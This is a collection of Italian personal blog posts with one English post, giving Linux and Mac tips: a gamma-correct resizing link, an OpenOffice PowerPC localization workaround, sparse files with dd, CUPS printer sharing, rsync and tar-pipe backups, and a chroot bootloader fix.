A causa di una errata gestione della gamma della luminosita' (quando si resiza e' trattata linearmente, mentre quando si mostra a video e' trattata esponenzialmente) quasi tutti i software di grafica soffrono di un problema: Quando effettuiamo un resize, e' sbagliato. Ma sbagliato nel senso che l'immagine di partenza e' diversa da quella risultante, sono proprio due immagini differenti.

In realta', non c'e' in tutti i software: qui [ Tux paint ] e' assente. Quando un programma per bambini supera Photoshop CS4, e' ora di dichiarare guerra ai software proprietari.

La spiegazione, comprensiva di molti esempi, e' qui.

http://www.4p8.com/eric.brasseur/gamma.html

Buona lettura

OpenOffice.org 3.2.0 OSX (ppc)

2010-02-17T11:23:00.003+01:00

Very good start for many of us that has a mac ppc and want to try the new openoffice 3.2.0. A great "not found page" is here for us.

Many thanks mother Sun! You could share the scripts used for compiling it. Ehm.. compiling? No, no, I don't have a day to waste.

So, I need to found an alternative way.. and there is :)

Download the 3.2.0 for PPC deutch version (here)
Drag the applications on Desktop
Download the 3.2.0 language pack for OSX Intel (here is en_US)
Launch the installer of the language pack, and select the OpenOffice.app that you have on Desktop
When finish, you should have OO.org localized. I have en_US as system language, so at first run it was already in english.

How it works? Simply, localization files are architecture-independent. I don't know why reference these as "Intel only", but the fact are these.

Want a linux-ppc version? Install archlinuxPPC and run

pacman -Sy openoffice-base

Have a nice day

Scattered file

2010-01-23T16:30:00.007+01:00

Ci sono molti modi per scrivere un file, e una buona parte di essi si basa su dd.
Con dd possiamo manipolare molteplici informazioni: lunghezza, dimensione,
numero di blocchi..
Insomma, e' un tool dalle mille potenzialita'.
Una di esse e' la possibilita' di creare "scattered" (sparpagliato, rado) file,
cioe' un file di dimensione definita X, ma di dimensione reale Y.
Ovviamente, la X sara' sempre maggiore di Y.

dd if=/dev/zero of=/dir/file bs=1 count=1 seek=300M

Ho un file lungo 300M di cui solo 1 byte è scritto e il resto non viene allocato sul disco
$ ls -lh mostra la dimensione del file (-h=human readable)

-rw-r--r-- 1 riccardo riccardo 301M 2010-01-05 11:52/dir/file

$ ls -lhs mostra l'occupazione del file su disco (parametro -s)
12K -rw-r--r-- 1 riccardo riccardo 301M 2005-05-05 11:52 /dir/file

Utilita' ? La creazione di immagini per filesystem che si "auto-espandono" (riempono cioe' lo spazio loro assegnatogli) pian piano che si inseriscono dati.

Condividere stampanti tra Linux e OSX

2010-01-14T19:26:00.003+01:00

In quanti di voi hanno una stampante su una linuxbox, e usate CUPS per gestirla? In molti, credo.

In quanti di voi, oltre alla suddetta linuxbox, hanno anche un computer con OS X sopra? Un po' di meno, immagino.

Beh, per quelli di voi che hanno quanto ho appena elencato, c'e' un modo (ovviamente) per usare da OSX la stampante attaccata sulla linuxbox, ma non e' (come al solito) intuitivo fare il setup.

I passi sono i seguenti:

Aprire Preferenze di sistema
Stampanti e fax
Aggiungere una stampante
Cliccare +, per aggiungerla
Andare su IP

La finestra e' simile a questa:

In protocollo mettere IPP, l'indirizzo e' quello della linux box nella forma http://linux-box:631, e in queue ci va (non intuitivamente) printers/nome-stampante .

Scegliete il nome, e come Driver usare il driver Postscript generico.

Fatto questo, Cliccate su aggiungi e dovreste avere una nuova stampante disponibile. Provate ora a lanciare una stampa di prova...

Rsync: Ancora backup

2009-05-11T11:23:00.002+02:00

Riparto prendendo spunto da un altro blogger, che e' stato molto piu' chiaro e coinciso di quanto avrei fatto io:

inizio con il riportare la definizione di Rsync scritta su Appunti di informatica libera.

Rsync è un sistema di copia tra elaboratori (o anche all’interno del file system dello stesso sistema locale), in grado di individuare e trasferire il minimo indispensabile di dati, allo scopo di allineare la destinazione con l’origine. L’uso di questo programma è molto semplice ed è simile a quello di rcp (Remote shell copy) o anche di scp (Secure shell copy).
L’aggiornamento dei dati, in funzione delle opzioni utilizzate, può basarsi sul confronto delle date di modifica, delle dimensioni dei file e anche sul calcolo di un codice di controllo (checksum). In linea di principio, a meno di utilizzare opzioni che specificano qualcosa di diverso, non conta il fatto che i dati siano più recenti o meno, basta che questi siano diversi per ottenerne il trasferimento.

Alla luce di quanto scritto personalmente lo trovo un buon sistema per effettuare dei backup dove non ci sono problemi di spazio ( in quanto la copia viene fatta 1 a 1 con l’originale )

Supponendo di voler effettuare il backup della directory /home su/backup_giornaliero possiamo semplicemente scrivere :

rsync -a -v --delete /home /backup_giornaliero

questo il significato dei parametri …

-a duplica anche le sottodirectoy in modo ricordsivo
-v ci da il dettaglio dello svolgimento della copia
–delete cancella i file sotto /backup_giornaliero che non esistono in /home

Ma come possiamo automatizzare questo comando ?
Io ho usato cron.
( per una guida in italiano vi suggerisco questo link )

Ho editando il file /etc/crontab e aggiunto questa riga:

0 23 * * * root rsync -a -v --delete /home /backup_giornaliero

In questo modo ogni giorno alla 23.00 viene fatto partire rsync

Grazie a Maurizio Mavida

Backup? No problem

2008-11-25T15:17:00.003+01:00

In quanti si sono sentiti ripetere, dopo l'ennesimo blackout, ( vi aspettavate "cambia filesystem e metti ext3 al posto di reiserfs" ... lo so che ve l'hanno detto - ed hanno ragione - ma la frase e' un altra.. )

" FAI IL BACKUP DEI TUOI DATI " ?

In molti lo so.. il mio prof di Sistemi Operativi lo diceva sempre.. persino quando gli chiedevo se potevo portargli il PC per fargli vedere il mio nuovo driver della ventolina del PC.

Beh, il senso del post, oltre a mettervi paura, e' quello di insegnarvi un nuovo comando per backuppare i vostri dati. Si, direte voi, a cosa mi serve? Ho scaricato l'ultima versione di Copio&&Salvo 3.0.3 ( e l'ho crackata.. anche se e' GPL mi piace crackare i programmi coi serialZ trovati sui siti di wareZ ) che funziona benissimo.. Oppure state usando cp da tempo immemore, ( non nomino dd perche' solo chi non ha cervello usa dd per backuppare i dati ) cosa che va piu' che bene ma che si puo' fare in un modo molto piu' veloce.

Innanzitutto, il comando e' questo:

(cd /src/dir && tar cf - . ) | ( cd /dst/dir && tar xf -)

Quelli di voi che conoscono gia' la bash e il comando tar puo' gia' dire " Accidenti, e' vero! ", copiare / incollare la riga sopra nel loro scriptino in cron e chiudere il browser.

Per tutti gli altri, direi di studiarsi la nozione di pipeline: Una volta assorbita, possiamo capire che il nostro comando entra nella directory da copiare, e se cio' ha successo ( le && sono l'and logico in bash, eseguo solo se il comando prima e' ritornato con VERO ) eseguo tar con i parametri c ( create ) e f ( file ). Il - sta ad indicare lo stdout e il . la directory corrente. Cioe' creo un archivio della directory corrente sullo stdout, lo passo attraverso pipeline al comando che mi entra nella dir di destinazione e, se cio' ha successo, avvia tar, con opzione x ( extract ) ed f ( file ). Il - in questo caso indica stdin; quindi estrae l'archivio passatogli da stdin ( e la pipeline fa proprio questo, unisce stdout del primo comando allo stdin del secondo ).

Abbiamo backuppato i nostri dati nella nostra directory di destinazione; il tutto in modo molto piu' veloce rispetto all'aver usato solo cp ( fate una prova con time ... ). Come esercizio per casa, provate a capire il perche' di questa velocita' in piu' .

Sistemare il bootloader / Fixing the bootloader

2008-11-25T14:49:00.005+01:00

Mettiamo di aver scasinato il bootloader; ma scasinato pesantemente, tanto che non riuscite ad avviare piu' il vostro sistema preferito.

Piuttosto che reinstallare tutto ( a mo' di esperto windows ) proviamo a sistemare questo problema.

Prendiamo una distro live a _casaccio_ dal nostro archivio personale ( leggasi: dalla pila di CD di fianco al monitor ) e infiliamolo nel nostro bel lettore CD, bootiamo da quest'ultimo ed entriamo nel nostro bellissimo sistema live.

Da notare che noi di X non ce ne faremo nulla; percui, se volete velocizzare e non aspettare che le vostre noccioline diventino piantine, cercate di avviare la live senza farlo partire .

Sto aspettando che abbiate una shell. Ce l'avete? Vedete il bellissimo # (cancelletto) che indica di stare in una shell di root? Presumo di si'.

Ora, i passi consistono nel montare la nostra partizione di / , montarci in bind sia la directory /dev/ che /proc e poi chrootarci dentro, fare le nostre modifiche per sistemare il bootloader, e riavviare.

Le operazioni sopra riportate, sono tradotte dai seguenti comandi *sh like:

mount /dev/hdd1 /mnt

mount --bind /dev/ /mnt/dev

mount -vt proc proc /mnt/proc

chroot /mnt

Stiamo montando /dev/hdd1 ( ho presunto che la vostra / si trovi nella partizione hdd1; se cosi' nonfosse, modificate pure e sostituiteci la vostra partizione di / ) sotto /mnt, con anche /dev/ e proc;ed abbiamo chrootato /mnt, in modo da farlo diventare " il nostro sistema ". Ora le modifiche che farete non interesseranno la live, ma il vostro sistema: Lo avete indietro in tutto e per tutto! Se la live ha riconosciuto l'accesso ad internet, avete internet nel vostro sistema chrootato, e cosi' via.

Molto bene, adesso potete fixare il problema che avete causato. Non sapete come risolvere?Beh, questo si' che non e' affar mio.. potete considerare di reinstallare windows, se vi garba.

L'avete risolto?

Molto bene, uscite con exit e fate un reboot. Tirate fuori la live e risbattetela nel vostro "archivio".Se il problema non si e' risolto, ripetete i passi descritti sopra e riprovate: la fortuna assiste gliaudaci.